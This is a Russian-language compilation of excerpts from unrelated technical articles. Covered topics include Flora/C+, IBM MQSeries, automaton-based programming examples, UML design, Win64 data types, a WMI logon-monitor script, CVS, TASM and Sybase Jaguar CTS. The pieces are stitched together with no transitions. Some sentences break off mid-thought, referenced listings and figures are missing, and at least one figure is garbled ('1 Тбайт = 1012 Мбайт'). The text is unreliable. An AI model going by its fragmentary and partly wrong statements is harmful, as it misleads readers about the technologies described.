    Инстанции Flora/C+ могут исполняться на разных процессорах, серверах или узлах кластерной платформы. Взаимодействие элементов дерева объектов одной инстанции с элементами другой инстанции осуществляется с помощью специальных сетевых средств (Flora Net), поддерживаемых объектной машиной. Предусмотрены два механизма взаимодействия объектов: порты ввода/вывода, используемые для поточной передачи данных между объектами разных инстанций и общее дерево объектов, являющееся частью дерева объектов нескольких инстанций.

    Расширяемость системы

    При использовании какой-либо прикладной системы служб вместе с MQSeries требуется через MQI разработать компонент доступа к очередям. Для многих распространенных программных средств уже существуют готовые модули. Для тех случаев, когда необходимы дополнения к базовой функциональности системы передачи сообщений, существуют документированные и открытые интерфейсы подключения внешних модулей, которые, например, позволяют опознавать системы, кодирования сообщений, компрессию данных и т.д. MQSeries Link for SAP R/3. Этот модуль обеспечивает возможность интеграции R/3 c другими прикладными системами или удаленными системами R/3. MQSeries Link взаимодействует с компонентом ALE (Application Link Enabling) системы R/3, который отвечает за коммуникацию между распределенными подсистемами R/3. Прикладные данные, циркулирующие в форматах внутренних промежуточных документов IDoc системы R/3, преобразуются в сообщения MQSeries и посылаются другой системе. Посылка/прием сообщений MQSeries происходит под контролем транзакций R/3. Сопряжение MQSeries с LotusNotes. Для организации взаимодействия MQSeries с Lotus Notes существует целый ряд программных компонентов: MQ Enterprise Integrator, MQSeries LSX, MQSeries Link, MQSeries Extra Link. С их помощью пользователи могут посылать данные и документы Lotus Notes в другие системы через MQSeries и получать в ответ сообщения для обновления документов Lotus Notes. Расширение стандартного языка программирования Lotus Script - MQSeries LSX, предоставляет набор из нескольких классов, реализующих интерфейс MQI для клиентских и серверных приложений Lotus. Использование других компонентов, таких как MQEnterprise Integrator, представляющих собой настраиваемые приложения Lotus Notes, не требует непосредственного программирования. При настройке обычно используются специальные базы данных Notes, содержащие сведения об очередях MQSeries, описания структуры посылаемого и возвращаемого сообщения, названия обновляемых документов и информацию о конвертации пересылаемых данных. Доступ в Internet. MQSeries Internet Gateway представляет собой шлюз между Web сервером и системой MQSeries, преобразующий запросы пользователей браузеров в сообщения MQSeries с последующей отправкой сообщений приложениям и преобразованием полученных обратно сообщений в формат HTML.
    Кроме того, с Web-сервера может быть загружен в виде апплета MQSeries Java клиент, который будет принимать и посылать сообщения с гарантированной доставкой через менеджеры MQSeries. MQSeries предполагает использование и других технологий из области промежуточного ПО. Например, сервисов DCE (Distributed Computer Environment), позволяющих приложению прозрачно обращаться к очереди сообщений, относящейся к той же ячейке DCE без определения этой очереди как удаленной, а также выполнять аутентификацию пользователей и контролировать доступ к очередям при помощи служб безопасности DCE. Рис. 4. Схема работы MQSeries Integrator Однако только гарантированной доставкой информации и компонентами сопряжения с существующими системами проблемы интеграции приложений не исчерпываются. Важнейшей является задача распознавания и обработки прикладного содержания сообщений. Для ее решения используется MQSeries Integrator (рис.4) - брокер сообщений, имеющий репозиторий форматов, на базе которого происходит распознавание и переформатирование содержания сообщений. В этом брокере имеется также база правил, определяющих процедуры обработки и маршрутизации сообщений.

    "Разбор полетов"

    Грянул выстрел в тишине,
    Взвил воронью стаю,
    На войне как на войне -
    Иногда стреляют.
    А. Розенбаум Итак, используя минимум понятий и средств, мы за два шага (первый - в работе [1], второй - здесь) превратили весьма ограниченный по своим возможностям исходный пример, предложенный программистами Microsoft, в более интересный, решающий к тому же весьма актуальную и не такую уж простую проблему синхронизации параллельных процессов. Кроме того, задача Майхилла по духу ближе разработчикам игровых программ, которые часто используют модель КА для описания поведения персонажей[4]. Им в этот раз особое внимание и поклон! Итак, решая задачу Майхилла, мы:
  • увидели, насколько эффективным и простым может быть решение нетривиальных проблем с использованием формальных моделей (попробуйте решить рассмотренную задачу обычными "фирменными" средствами!);
  • познакомились с тем, как можно изменить алгоритм работы объекта, модифицировав таблицу переходов;
  • узнали, как автоматически удалять автоматные параллельные процессы (раньше мы умели только порождать их);
  • научились создавать информационные связи между автоматными объектами и синхронизировать поведение объектов с помощью их внутренних состояний;
  • используя параллелизм среды и динамическое порождение объектов, смоделировали более сложную ситуацию, не предусмотренную исходной задачей;
  • создали "скелет" задачи о системе из множества объектов с информационными связями между ними; он применяется как в рассмотренных ранее задачах о триггере и о мячиках, так и в нынешней задаче о стрельбе.
  • Пуля может быть "дурой", а может обладать "интеллектом" ПТУРСa. Так, можно резко повысить эффективность поражения целей стрелками, научив их стрелять еще и "веером". Поведение стрелков можно усложнить, заставив их передвигаться, взаимодействовать, стрелять одиночными и очередями. При разборе примера обратите внимание на то, как реализуется формирование паузы между пулями с помощью "автоматной задержки" CFDelay. Задержка - еще один вариант использования автоматных подпрограмм. В примере стрельба очередью организуется с помощью дополнительных действий стрелка y4, y5 и предиката x4, а свойство класса стрелка nLengthQueue определяет длину очереди из пуль. Необходимые изменения внесены и в таблицы переходов пули и стрелка. Возможны и другие варианты развития примера - были бы время и желание (и заказчики, конечно!). Со временем бывает туго, но одна из целей FSA-библиотеки - помочь его сберечь. Удачной вам охоты (с автоматами) в "программных джунглях" и до новых встреч!

    Разработка спецификации архитектуры системы – переход от концептуальной модели к программной модели

    После того как руководитель проекта получил функционально-ориентированную и объектно-ориентированную картину системы, ему необходимо «объединить» их воедино и получить спецификацию системы, которую можно выдавать программистам на реализацию в программный код. Необходимо взять часть прецедентов использования и построить для каждого из них диаграмму взаимодействия, например, диаграмму кооперации (collaboration diagram). Пример такой диаграммы изображен на рис.3. Разработка спецификации архитектуры системы – переход от концептуальной модели к программной модели Рис. 3. Во время построения диаграмм взаимодействия будут выделены публичные (public) методы классов, а также появятся классы чисто синтетической природы, которые не имеют аналогов в реальном мире. Этот этап, на мой взгляд, самый сложный и в нем можно допустить ошибки, которые будут тянуться на протяжении всего проекта. Вот по этой причине руководитель среднего программного проекта должен уметь не только программировать, но и иметь навыки работы программным архитектором (Software Architect). Существуют так называемые шаблоны проектирования (design patterns), которые следует применять на этом этапе. Встает проблема распределения обязанностей между объектами и разработке взаимодействия объектов. Для успешного конструирования следует систематизировать и тщательно проанализировать принципы разработки. Такой подход к пониманию и использованию этих принципов основывается на применении шаблонов распределения обязанностей GRASP. Другой набор шаблонов – шаблоны GoF, которые не строго ориентированы на распределение обязанностей, а ориентированы на повторное использование дизайна и являются чисто синтетическими конструкциями, не имеющими никакого отношения к объектам реального мира. Всего выделяются три группы шаблонов. Порождающие шаблоны проектирования абстрагируют процесс создания объектов. В структурных шаблонах рассматривается вопрос о том, как из классов и объектов образуются более крупные структуры. Шаблоны поведения связаны с алгоритмами и распределением обязанностей между объектами. Результатом дизайна будет несколько диаграмм классов.
    Пример такой диаграммы показан на рис. 4. Разработка спецификации архитектуры системы – переход от концептуальной модели к программной модели Рис.4. После получения хорошего дизайна системы следует разбить систему на пакеты, которые будут объединять классы, имеющие общую функциональную направленность и работающие вместе над осуществлением какой-то объединяющей их задачи. Возможно, что разбиение на пакеты руководитель проекта сделает во время этого этапа, а не в его конце, но если он об этом задумался как раз в последний момент, то разбиение системы на пакеты должно отразиться на дизайне классов. Стоит также построить диаграмму пакетов. Пример такой диаграммы изображен на рис.5. Разработка спецификации архитектуры системы – переход от концептуальной модели к программной модели Рис.5. На этой диаграмме изображены зависимости между пакетами. Зависимость показывает использование классов из одного пакета классами другого. Другими словами, пока классы второго пакета не будут реализованы, классы первого пакета не смогут функционировать. Хотя, конечно, эту проблему можно обойти, используя заглушки. Исследуя полученную диаграмму, можно увидеть какие пакеты следует писать первыми, а какие пакеты придется вообще писать параллельно. Например, пакет server.client.model.fact не зависит от других пакетов, но от него зависят многие. Значит, его следует реализовать в первую очередь. Вот собственно, какова практическая ценность этой диаграммы.

    Разрядная архитектура

    Win64-код объединяет в себе основные возможности 32-разрядного кода, а также включает изменения, связанные с повышением разрядности. В распоряжении программиста оказываются:
  • 64-разрядные указатели;
  • 64-разрядные типы данных;
  • 32-разрядные типы данных;
  • интерфейс Win64 API. Обратите внимание, что 32-разрядные типы данных не исчезли при повышении разрядности платформы (как было с 16-разрядными типами данных при переходе к Win32). Это связано с тем, что даже в 64-разрядных приложениях в большинстве случаев переменные не требуют объема памяти в 8 байт, поэтому использование 64-разрядных типов в таких случаях оказалось бы крайне неэффективным. Операционной системе пришлось бы дописывать нули в старшие разряды, чтобы увеличить размер данных до 8 байт (такие данные к тому же очень неудобно считывать). Это привело бы к снижению производительности. Иная участь постигла 32-разрядные указатели: они полностью исчезли. Дело в том, что использование 32-разрядных указателей накладывает ограничение на объем адресуемой памяти. Например, одним из главных преимуществ плоской модели памяти (она является основной для программирования 32-разрядных приложений для платформы NT), использующей 32-разрядные указатели, является возможность создания сегментов объемом до 4 Гбайт. Новые 64-разрядные указатели обеспечивают возможность адресации до 16 Тбайт памяти (1 Тбайт = 1012 Мбайт). Современными бизнес-приложениями этот объем вполне востребован. Функции в Win64 API претерпели незначительные изменения. Только названия некоторых из них были изменены так, чтобы отразить принадлежность к 64-разрядной платформе. В большинстве случаев изменениям подверглись лишь типы параметров, являющихся аргументами вызова функций. Все остальные преимущества (возможность отказаться от использования файлов подкачки и т. д.) связаны либо с увеличившимся объемом адресации, либо с новыми типами данных.

    Разрядное приложение в 64-разрядной среде

    Если бы 32-разрядные приложения работали в 64-разрядной среде так же эффективно, как в , не было бы никакого смысла не только писать эту статью, но и создавать 64-разрядный компилятор. Действительно, производительность 32-разрядных приложений при работе на 64-разрядной платформе существенно снижается. Это связано с тем, что для запуска 32-разрядного приложения операционной системе приходится выполнять ряд подготовительных действий: увеличивать все 32-разрядные указатели до размера в 8 байт, преобразовывать вызовы API-функций, заменять типы 32-разрядных данных на 64-разрядные. Здесь следует остановиться и подробнее рассмотреть вопрос о преобразовании данных. Win64 допускает использование и 32-, и 64-разрядных данных. Поэтому когда операционная система встречает 32-разрядные данные в 32-разрядном приложении, она должна ответить на вопрос: Делается это для того, чтобы оптимизировать работу приложения. Если операционная система встретит 32-разрядные данные в 64-разрядном приложении, то не обратит на них внимания, так как платформа Win64 допускает использование 32-разрядных типов данных. Преобразование 32-разрядных данных в 64-разрядные осуществляется точно так же, как и преобразование 32-разрядных указателей, - дописыванием нулей в старшие разряды. Очевидно, что на выполнение всех этих операций тратится масса системных ресурсов, и, как результат, производительность снижается. Это особенно заметно при работе 32-разрядных драйверов на 64-разрядной платформе. В связи с тем, что драйверы являются связующим звеном между оборудованием и операционной системой, именно они используются наиболее интенсивно.

    Развертывание информационной системы

    Если Вы указали корректные настройки в Архитекторе приложений (каталог сервера приложений, каталог Java SDK и т.д.), то Rapid Developer позволяет запустить сервер приложений, выполнить развертывание разрабатываемой информационной системы в необходимой папке сервера приложений и осуществить ее запуск.
    Развернуть на стороне сервера приложений можно как всю систему целиком, так и любую ее часть (например, отдельную страницу).
    Запуск сервера приложений осуществляется с помощью пункта главного меню "Tools/Start Server/J2EE Application Server".
    При выделении Web-страницы в Архитекторе сайта или для открытой страницы в Архитекторе Web-страниц становится доступным пункт меню "Tools/Web Page Preview", активизация которого позволяет запустить разрабатываемое приложение в виде Web-броузера, в котором открыта данная страница.


    Развитая мультизадачность

    Любой элемент или группа элементов объектного дерева может быть отдельной задачей. Возникающие коллизии решаются автоматически с помощью встроенных средств объектной машины. С целью эффективной организации асинхронной обработки событий в задачах разработан специальный класс объектов, называемый рефлексами. Создание мультизадачных приложений в технологии Flora/C+ является правилом, а не исключением, как это обычно принято. Даже в приложениях среднего размера может порождаться несколько десятков и даже сотен параллельно исполняемых задач.

    Развитые средства визуализации

    Библиотеки Flora/C+ содержат широкий набор классов графических объектов. Свойства всех графических объектов, в том числе. координаты, цвет, форма и т.д. доступны для их динамического изменения в процессе исполнения другими объектами приложения Все изменения моментально отражаются на системном экране. На основе этих простых и ясных для разработчика возможностей и средств могут быть реализованы сложные анимационные эффекты, значительно усиливающие графические возможности прикладных интерфейсов.

    Реализация сценария регистрации

    Сценарий мониторинга для выполнения регистрации необходимо установить на локальном жестком диске каждого компьютера по одному из многих путей, где Windows ищет программы, которые следует инициализировать при регистрации пользователя. Сценарий нужно настроить так, чтобы он выполнялся в контексте соответствующего пользователя; в этом случае соединения и другие функции сценария регистрации будут выполняться с применением учетных данных пользователя. Не будем забывать, что пользователи порой склонны экспериментировать с объектами своих папок Startup, поэтому инициализировать сценарий следует с использованием раздела реестра HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run. Поскольку этот "связывающий" сценарий должен быть установлен на каждом компьютере, следует заранее продумать, как вы будете при необходимости обновлять его. Приложив некоторые старания и проявив смекалку, вы сможете модифицировать сценарий так, чтобы его обновление осуществлялось автоматически. Средства мониторинга событий службы WMI позволят решить проблему, с которой сталкиваются многие администраторы Windows. Надеюсь, что применение средств WMI для запуска сценария регистрации дает некоторое представление о новых возможностях применения сценариев, которые открывает перед нами эта служба. Дарвин Саной  - старший консультант в DesktopEngineer.com. Регулярно выступает на конференции Microsoft Management Summit, читает курс по Windows Installer. С ним можно связаться по адресу: .

    Редактирование файлов

    После того, как CVS создал рабочее дерево каталогов, вы можете обычным образом редактировать, компилировать и проверять находящиеся в нем файлы -- это просто файлы. Например, предположим, что мы хотим скомпилировать проект, который мы только что извлекли: $ make gcc -g -Wall -lnsl -lsocket httpc.c -o httpc httpc.c: In function `tcp_connection': httpc.c:48: warning: passing arg 2 of `connect' from incompatible pointer type $ Кажется, `httpc.c' еще не был перенесен на эту операционную систему. Нам нужно сделать приведение типов для одного из аргументов функции connect. Чтобы сделать это, надо изменить строку 48, заменив if (connect (sock, &name, sizeof (name)) >= 0) на if (connect (sock, (struct sockaddr *) &name, sizeof (name)) >= 0) $ make gcc -g -Wall -lnsl -lsocket httpc.c -o httpc $ httpc GET http://www.cyclic.com ...здесь находится текст HTML с домашней страницы Cyclic Software ... $

    Для того, чтобы писать полноценные

    Для того, чтобы писать полноценные приложения под Win32 требуется не так много:
  • собственно компилятор и компоновщик (я использую связку TASM32 и TLINK32 из пакета TASM 5.0). Перед использованием рекомендую "наложить" patch, на данный пакет. Patch можно взять на site или на нашем ftp сервере ftp.uralmet.ru.
  • редактор и компилятор ресурсов (я использую Developer Studio и brcc32.exe);
  • выполнить перетрансляцию header файлов с описаниями процедур, структур и констант API Win32 из нотации принятой в языке Си, в нотацию выбранного режима ассемблера: Ideal или MASM.
  • В результате у Вас появится возможность писать лёгкие и изящные приложения под Win32, с помощью которых Вы сможете создавать и визуальные формы, и работать с базами данных, и обслуживать коммуникации, и работать multimedia инструментами. Как и при написании программ под DOS, у Вас сохраняется возможность наиболее полного использования ресурсов процессора, но при этом сложность написания приложений значительно снижается за счёт более мощного сервиса операционной системы, использования более удобной системы адресации и весьма простого оформления программ.
    Количество и разнообразие деловых приложений, которые скоро появятся, колоссально. Jaguar CTS и другие, находящиеся на стадии становления, технологии Сети устраняют преграды по развертыванию серьезных деловых приложений в Интернет, которые стояли перед разработчиками предшествующие пару лет. Поскольку организации и заказчики начинают понимать удобство, индивидуальный сервис и экономию средств от применения WebOLTP, Интернет-приложения будут иметь логарифмический рост количества приложений, предлагающих крупномасштабную обработку транзакций.

    Сценарий мониторинга выполнения регистрации (Logon Monitor Script)

    В первых двух строках сценария, представленного в , определяются две переменные, речь о которых впереди. В метке A Листинга 1 функция GetObject устанавливает соединение с WMI и создает запрос об извещении о событии. В строке SELECT указывается, что сценарий должен получать имя (TargetInstance.Name) любого нового или измененного экземпляра (FROM_InstancdOperationEvent) класса WMI, представляющего сетевые соединения (TargetInstance ISA 'Win32_NetworkAdapterConfiguration'). Стоит отметить, что объект Win_32_NetworkAdapterConfiguration включает в себя все сетевые соединения вне зависимости от того, используются ли для их осуществления физические сетевые адаптеры. При установлении соединений RAS, VPN или других типов соединений API RAS или VPN создает "виртуальный адаптер", который затем появляется в данном классе WMI. При обнаружении новых соединений RAS или VPN, а также при подключении к сети новой сетевой интерфейсной платы после регистрации пользователя объект _InstanceOperationEvent извещает сценарий об этих событиях. (Вообще-то объект _InstanceOperationEvent извещает сценарий и об удалении соединения, однако в данном сценарии такие это не предусматривается.) Служба WMI извещает сценарий обо всех событиях, соответствующих критериям запроса. Раздел запроса WITHIN 4 означает время в секундах, выделяемое внутреннему механизму WMI для проведения опроса класса о наличии событий. Как я уже говорил, механизм этого внутреннего опроса весьма эффективен. Желающие проверить, не оборачивается ли данный запрос о событиях дополнительной нагрузкой на процессор, могут установить наблюдение за службой WMI с помощью средства Performance Monitor. Это средство покажет, что выполнение сценария не приводит к непроизводительной затрате ресурсов процессора. Большинство версий Windows (включая Windows 2000) вызывают службу WMI [через файл] winmgmt.exe. В среде Windows XP служба WMI является экземпляром svchost.exe. Для того чтобы точно определить непроизводительные расходы процессора, необходимо сравнить значения счетчиков производительности процессора - в расчете на процесс - до запуска сценария и во время его выполнения. Цикл Do. Цикл Do рассматриваемого сценария не является бесконечным циклом опроса; он обеспечивает постоянный мониторинг событий соединения.
    Без этого цикла сценарий выполнялся бы только один раз. Сценарий должен находиться в этом цикле для того, чтобы обрабатывать ситуации, в которых пользователи, подключенные к сети с помощью соединений VPN, RAS или через Dynamic NIC, воздерживаются от выключения своих портативных компьютеров (переводя их в режим ожидания или "спячки"). Строка в метке B позволяет обходиться без опроса по событиям конфигурации (который проводится традиционными сценариями мониторинга). Рассматриваемый сценарий в данной точке исполнения ждет от WMI извещения о наступлении события, соответствующего указанным критериям. Когда служба WMI извещает сценарий о наступлении такого события, выполнение продолжается со следующей строки. В следующей строке указывается, что объект соединения должен обязательно возвращать строку, содержащую свойство Ipaddress. При таком подходе автоматически отфильтровывается несколько типов нежелательных событий - прежде всего, события удаления соединения, которые не возвращают массива строк для переменной IP-адреса. Кроме того, некоторые типы соединений (например, соединения VPN) до получения действительного IP-адреса предусматривают многочисленные модификации экземпляра Win32_NetworkAdapterConfiguration. Проверка VarType гарантирует, что сценарий мониторинга будет игнорировать подобные промежуточные события. Функция SubnetMatch. Базовый метод, используемый сценарием Logon Monitor для идентификации целевой сети, важен в двух отношениях. Он позволяет, во-первых, сокращать число "ложных срабатываний" при взаимодействии с другими сетями, а во-вторых - блокировать попытки главного сценария запускать сценарий регистрации в случаях, когда класс Win32_NetworkAdapterConfiguration выявляет изменения в других типах соединений. Некоторые типы протоколов-упаковщиков, как, впрочем, и инфракрасные порты, тоже создают и модифицируют этот список экземпляров данного класса. Процедура согласования подсетей позволяет отфильтровывать указанные ситуации и предотвращать запуск сценариев регистрации в неподходящих случаях. Функция SubnetMatch обеспечивает успешный поиск подсети, отвечающей заданным критериям.


    Построчное разъяснение механизма действия этой функции выходит за рамки данной статьи, но все же читателю нужно знать, какие услуги данная функция предоставляет. Итак, функция SubnetMatch использует IP-адрес соответствующего компьютера и ищет подобные адреса в предоставленном списке подсетей. Функция возвращает булево значение ("истина" или "ложь") и помещает список совпадений в массив. Программу SubnetMatch можно применять в сетях, разделенных на подсети без использования классов, поэтому она дает точные результаты в сетях при использовании самых разных способов разделения сетей на подсети. Функции передается список подсетей, так что можно включать в него отдельные подсети, выделенные по логическим критериям, например, Building A (строение А), London Campus (лондонский кампус) или Finance Division (финансовый отдел). Для получения точных совпадений по сегменту смежных подсетей можно использовать адреса надсетей (supernet addresses). Чаще всего надсети применяются для обозначения любого соединения со всей сетью компании. Если в компании используется единый адрес класса B, можно задействовать этот адрес вместо длинного списка подсетей. Применение надсетей позволяет упростить сценарий и повысить быстродействие функции поиска совпадений в сложных сетях. Когда вы будете использовать надсети, вероятность того, что сценарий найдет совпадения в сетях за пределами целевой сети, будет выше. Для того чтобы идентифицировать сети с исключительно высокой степенью точности, сценарий можно модифицировать так, чтобы он извлекал из анализируемого события объект TargetInstance и сопоставлял значения других атрибутов TCP/IP и соединений. Суффикс DNS, WINS Servers и DNS Servers могут служить примерами уникальных идентифицирующих данных, которые позволяют удостовериться в том, что соединение установлено со всей сетью. Позднее мы рассмотрим вопрос о мягких аварийных переключениях (graceful failover), а в этом разделе будет показано, как сценарий обрабатывает ситуации с ложными совпадениями. Код в метке C вызывает функцию SubnetMatch.


    Функция принимает четыре параметра. Первый из них - это предоставляемый список подсетей (aSubnetList). Данный массив представляет собой список IP-адресов и пар масок подсетей, разделенных косой чертой (/). Поскольку список обрабатывается последовательно, на первых позициях следует размещать подсети, соответствующие адресам наибольшего числа компьютеров (возможен такой порядок: надсети, затем подсети с наибольшим числом мобильных клиентов, затем другие подсети). Второй параметр - это IP-адрес соединения, возвращенный сценарию службой WMI. Сценарий рассматривает данный адрес как часть объекта ConnectEvent с именем Connect-Event.TargetInstance.Ipaddress(0). Для извлечения многих других атрибутов соединения можно использовать другие имена свойств класса Win32_NetworkAdapterConfiguration. Третий параметр - bAllMatches. Если он получает значение "истина", функция SubnetMatch находит все совпадения. Если же параметру задано значение "ложь", SubnetMatch ограничивается обнаружением первого совпадения. Если сценарий должен проверить множество подсетей, более высокое быстродействие достигается при использовании значения "ложь". Четвертый параметр представляет собой имя массива, в который функция SubnetMatch поместит список совпадений. Этот массив будет содержать более одного значения лишь в том случае, если параметру bAllMatches будет присвоено значение "истина". Получение всех совпадений может оказаться полезным при отладке обширных списков подсетей. Передавать сценарию информацию о том, какие подсети соответствуют заданным критериям, нет необходимости (данная видовая программа поиска подсетей предназначена для обработки большого количества объектов), так что списки сценарию не возвращаются. Функция SubnetMask выполняет некоторые расчеты, определяет, какие подсети из списка aSubnetList соответствуют IP-адресу того или иного компьютера, и возвращает логическое значение ("истина" или "ложь"), которое показывает, найдено ли совпадение.Соответствующая строка в метке D предназначена для того, чтобы проверить, найдена ли функцией SubnetMatch соответствующая заданным критериям подсеть. Выполнение сценария продолжается лишь после завершения такой проверки.

    Сегментация текста

    Разбиение текста на сегменты является важным подготовительным этапом для полной или частичной автоматизации перевода. Сегменты должны по возможности содержать фрагменты текста, грамматически независимые друг от друга. Иными словами, должна быть обеспечена возможность корректного перевода каждого сегмента независимо от других. Обычно разбиение на сегменты выполняется по знакам пунктуации.

    Семейство MQSeries

    Предшественники средств МОМ появились при решении задач обмена данными между программами, когда разработчики писали собственные локальные или сетевые модули экспорта-импорта с использованием различных промежуточных хранителей: файлов, буферов памяти и т.д. Данное ПО долгое время существовало в виде вспомогательных и частных средств, однако в связи с выходом на первый план задач интеграции готовых прикладных систем между собой системы МОМ получили мощный стимул к развитию и стандартизации. История MQSeries как единого семейства программных продуктов начинается с 1992 года, когда компания IBM опубликовала спецификации для программного интерфейса Message Queue Interface (MQI). В том же году было заключено соглашение между IBM и компанией System Strategies (SSI), которая тогда разрабатывала собственные продукты для передачи сообщений ezBRIDGE Transact, адаптированные для использования MQI. Затем появилось несколько принципиально новых версий, существенно расширился круг платформ и функциональных возможностей MQSeries. Сегодня менеджеры очередей MQSeries работают на OS/390, MVS, VSE/ESA, OS/400, OS/2, Tandem Guardian и Himalaya, OpenVMS VAX, Digital Unix, AIX, HP-UX, SunOS, Sun Solaris, SCO UNIX, UnixWare, AT&T GIS UNIX, DC/OSx, Windows NT/95/3.1. Для еще большего числа платформ, в том числе для DOS, Java, MacOS, Linux, существуют MQSeries клиенты. Взаимодействие менеджеров очередей MQSeries даже разных версий происходит прозрачно для внешних программ, что обеспечивает им единый интерфейс MQI и функционирование единой транспортной системы MQSeries. Можно указать ряд направлений развития MQSeries и всей архитектуры средств МОМ: появляются новые прикладные и административные интерфейсы, упрощающие процесс создания новых систем; поддерживаются более сложные модели обработки сообщений, такие как публикация-подписка или обработка с анализом контекста сообщений; развивается интеграция между MQSeries и реляционными базами данных; появляются решения для поддержки совместной работы нескольких менеджеров очередей, соединенных в кластеры.

    Сервер транзакций Powersoft Jaguar CTS

    Powersoft Jaguar CTS - новый сервер транзакций, разработанный специально для WebOLTP (см. Рисунок 6). Компания Sybase, Inc. осуществила первую поставку Jaguar CTS SDK в феврале 1997 и планировала начать распространение Web SDK начиная со второго квартала 1997. Основные возможности Jaguar CTS включают в себя:
  • Масштабируемый, независимый от платформы механизм выполнения.
  • Быстрая связь между всеми уровнями.
  • Компонентная разработка с поддержкой всех ведущих моделей компонентов, включая: ActiveX, JavaBeans, и объекты CORBA.
  • Полная поддержка защиты в Internet, включая SLL шифрование и аторизацию, а также списки управления доступом к уровню приложений.
  • Гибкое управление транзакциями с поддержкой как обычной синхронной, так и асинхронной диалоговой обработки запросов.
  • Сервер транзакций Powersoft Jaguar CTS
    Рисунок 6. Powersoft Jaguar CTS - новый сервер транзакций, разработанный специально для WebOLTP.
    Исполняемый модуль Jaguar CTS
    Исполняемый модуль Jaguar CTS разработан таким образом, чтобы обеспечить надежную, масштабируемую производительность для большого количества пользователей WebOLTP. Это означает:
  • Наличие масштабируемого, многопоточного ядра, поддерживающего работу в многопроцессорной системе.
  • Расширенное управление сеансами и соединениями.
  • Система администрирования и текущего контроля типа броузера.
  • Одним из ключевых моментов в достижении Jaguar CTS высокой производительности является устойчивое, многопоточное ядро, работающее в многопроцессорной системе. При проектировании и разработке ядра Jaguar CTS компания Sybase использовала знания и технологии, накопленные за предшествующие шесть лет, полученные из опыта тысяч инсталляций предыдущих поколений серверных программ.
    Это наследие позволяет ядру Jaguar CTS продемонстрировать следующие главные особенности:
  • Эффективный многопоточный режим, который использует собственные потоки операционной системы там, где это возможно.
  • Встроенную поддержку потоков на платформах без собственных реализаций этого механизма.
  • Специфические для компонентной реализации потоковые режимы, включая одиночные, выделенные и свободные потоки.
  • Превосходная многопроцессорная масштабируемость.
  • Расширенные параметры настройки для оптимизации эффективности в зависимости от используемых платформ и рабочих нагрузок.
  • В дополнение к обеспечению эффективности ядро Jaguar CTS выполняет еще одну важную функцию: оно скрывает от разработчиков приложений сложности потоковой обработки, блокировок и управления памятью.
    Почему это так важно? Представьте себе, что кто-то из крупных разработчиков, столкнувшись с задачей перехода к WebOLTP, будет учиться писать многопользовательские сервер-приложения. Сегодняшние разработчики приложений клиент/сервер, как правило, имеют опыт написания однопользовательских (для клиентской машины) приложений. Однако, находящаяся на стадии становления многоуровневая архитектура предполагает размещение большей части бизнес-логики на промежуточном уровне, где к ней обращаются и используют множество пользователей.

    Многие системы, включая ORB и Web-серверы приложений, предоставляют разработчикам самим разбираться с потоками, блокировками и проблемами управления памятью. Чтобы еще хуже, эти проблемы должны решаться по-разному для каждой OS платформы.

    Ядро Jaguar CTS значительно уменьшает эти проблемы, давая разработчикам доступ к легким в использовании, независимым от платформы средствам обеспечения многопоточной обработки, блокировок и управления памятью. Вместе взятые, эти средства улучшают производительность разработки, ускоряют отладку и увеличивают надежность при обеспечении общей производительности системы.

    Управление сеансами и соединениями По сравнению с традиционными системами клиент/сервер или универсальными СУБД, WebOLTP приложения - особенно Internet или extranet приложения - будут обслуживать намного большие группы пользователей. Это выдвигает перед разработчиком ряд проблем. Но при наличии эффективного управления сеансами и соединениями разработчики могут действительно управлять этими большими группами пользователей. “Управление сеансами” означает управление связями между броузером и сервером транзакций; “управление соединениями” означает управление связями между сервером транзакций и СУБД. Работая вместе, диспетчеры сеансов и соединений Jaguar CTS преобразуют большое количество сеансов броузера в намного меньшее число соединений с СУБД, улучшая таким образом общую масштабируемость системы при обеспечении более устойчивого времени отклика при переменных рабочих нагрузках. Диспетчер сеансов Jaguar CTS Session Manager, очевидно, управляет связями броузер-Jaguar CTS.


    В отличие от большинства систем, сеансы Jaguar CTS не зависят от коммуникационного протокола. Это позволяет, например, начинать сеанс, используя общий протокол Сети , а затем подключать быстродействующий протокол поточной обработки данных, называемы по имени TDS (Tabular Data Stream). Управление этим взаимодействием внутри одного сеанса дает возможность серверу поддерживать информацию о “состоянии” и правах пользователя.

    Диспетчер соединений Jaguar CTS Connection Manager, очевидно, управляет связями между Jaguar CTS и СУБД. Одной из главных особенностей Connection Manager является “объединение соединений” (connection pooling). Используя connection pooling, администратор Jaguar CTS может сформировать пул соединений с одной или большим количеством СУБД. Пользователи Jaguar CTS затем могут задействовать эти соединения в разделенном режиме. Connection pooling уменьшает общую нагрузку на стороне СУБД, управляя количеством одновременных соединений и уменьшая издержки соединения в расчете на одного пользователя. Эти возможности улучшают масштабируемость и уменьшают время ответа конечному пользователю. В дополнение к возможности создавать пул соединений, Connection Manager интегрируется с диспетчером транзакций Jaguar CTS Transaction Manager (см. раздел Управление транзакциями) и автоматически соотносит сеансы Jaguar CTS и транзакции системы управления базами данных.

    Система администрирование и текущего контроля Jaguar CTS поставляется с собственными простыми в использовании средствами системного администрирования и мониторинга. Написанный полностью на языке Java, Jaguar CTS Manager может быть запущен или в броузере, или как автономное Java-приложение на любой платформе, которая поддерживает Java. Jaguar CTS Manager позволяет администраторам:

  • Запускать / закрывать Jaguar CTS сервер.
  • Конфигурируйте основные параметры эффективности Jaguar CTS, типа памяти, количества потоков, сеансов и соединений.
  • Отслеживать производительность сервера и выполнение сервлет.
  • Поскольку зачастую границы между разработкой, тестированием, развертыванием и текущим администрированием размыты, система упрвления Jaguar CTS интегрирован с Jaguarом CTS Package Manager, описанный ниже.


    Например, разработчики могут динамически развертывать новый компонент на Jaguar CTS и сразу же контролировать изменения производительности. Это позволяет администраторам использовать одно средство для управления приложениями на протяжении их полного жизненного цикла.

    Соединяемость Jaguar CTS В многоуровневой среде быстродействие соединения определяется в большей степени временем ответа конечному пользователю, чем любым другим фактором. Jaguar CTS предоставляет быстродействующее соединение с броузерами и back-end хранилищами данных при обеспечении оптимизированной соединяемости. Основные возможности соединяемости включают:

  • Обобщенную мультипротокольную поддержку броузеров и других клиентов Сети. Поддерживаемые протоколы включают HTTP, TDS (для быстродействующей обработки потоков данных) и протокол CORBA IIOP.
  • Соединяемость со всеми основными СУБД, включая Sybase SQL Server и SQL Anywhere, Oracle7.x и MS SQL Server через стандарты ODBC, JDBC и Sybase Open Client .
  • Соединяемость с mainframe и 20 другими источниками данных через семество продуктов доступа к данным EnterpriseConnect компании Sybase.
  • Быстродействующая соединяемость из Java как для апплетов, так и сервлетов.
